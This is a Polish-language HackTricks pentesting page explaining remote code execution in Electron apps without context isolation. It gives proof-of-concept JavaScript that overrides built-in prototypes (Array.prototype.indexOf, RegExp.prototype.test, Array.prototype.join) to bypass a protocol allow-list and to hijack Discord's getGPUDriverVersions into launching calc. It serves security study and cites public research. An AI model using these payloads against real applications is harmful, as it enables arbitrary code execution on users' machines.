Electron contextIsolation RCE via preload code

Reading time: 3 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Example 1

Przykład z https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Ten kod otwiera linki http(s) w domyślnej przeglądarce:

Coś takiego jak file:///C:/Windows/systemd32/calc.exe mogłoby być użyte do uruchomienia kalkulatora, SAFE_PROTOCOLS.indexOf to uniemożliwia.

Dlatego atakujący mógłby wstrzyknąć ten kod JS za pomocą XSS lub dowolnej nawigacji po stronie:

html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>

Ponieważ wywołanie SAFE_PROTOCOLS.indexOf zawsze zwróci 1337, atakujący może obejść ochronę i wykonać kalkulator. Ostateczny exploit:

html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Sprawdź oryginalne slajdy, aby znaleźć inne sposoby uruchamiania programów bez pytania o uprawnienia.

Najwyraźniej innym sposobem na załadowanie i wykonanie kodu jest dostęp do czegoś takiego jak file://127.0.0.1/electron/rce.jar

Przykład 2: RCE w aplikacji Discord

Przykład z https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Podczas sprawdzania skryptów preload odkryłem, że Discord udostępnia funkcję, która pozwala na wywoływanie niektórych dozwolonych modułów za pomocą DiscordNative.nativeModules.requireModule('MODULE-NAME'), na stronie internetowej.
Tutaj nie mogłem użyć modułów, które mogą być używane do RCE bezpośrednio, takich jak moduł child_process, ale znalazłem kod, w którym RCE można osiągnąć przez nadpisanie wbudowanych metod JavaScript i ingerowanie w wykonanie udostępnionego modułu.

Poniżej znajduje się PoC. Udało mi się potwierdzić, że aplikacja calc jest wywoływana, gdy wywołuję funkcję getGPUDriverVersions, która jest zdefiniowana w module o nazwie "discord_utils" z devTools, podczas nadpisywania RegExp.prototype.test i Array.prototype.join.

javascript
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()

Funkcja getGPUDriverVersions próbuje wykonać program, używając biblioteki "execa", w następujący sposób:

javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}

const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}

return result
}

Zwykle execa próbuje wykonać "nvidia-smi.exe", który jest określony w zmiennej nvidiaSmiPath, jednak z powodu nadpisanego RegExp.prototype.test i Array.prototype.join, argument jest zastępowany na "calc" w wewnętrznym przetwarzaniu _execa_**.

Specyficznie, argument jest zastępowany przez zmianę następujących dwóch części.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks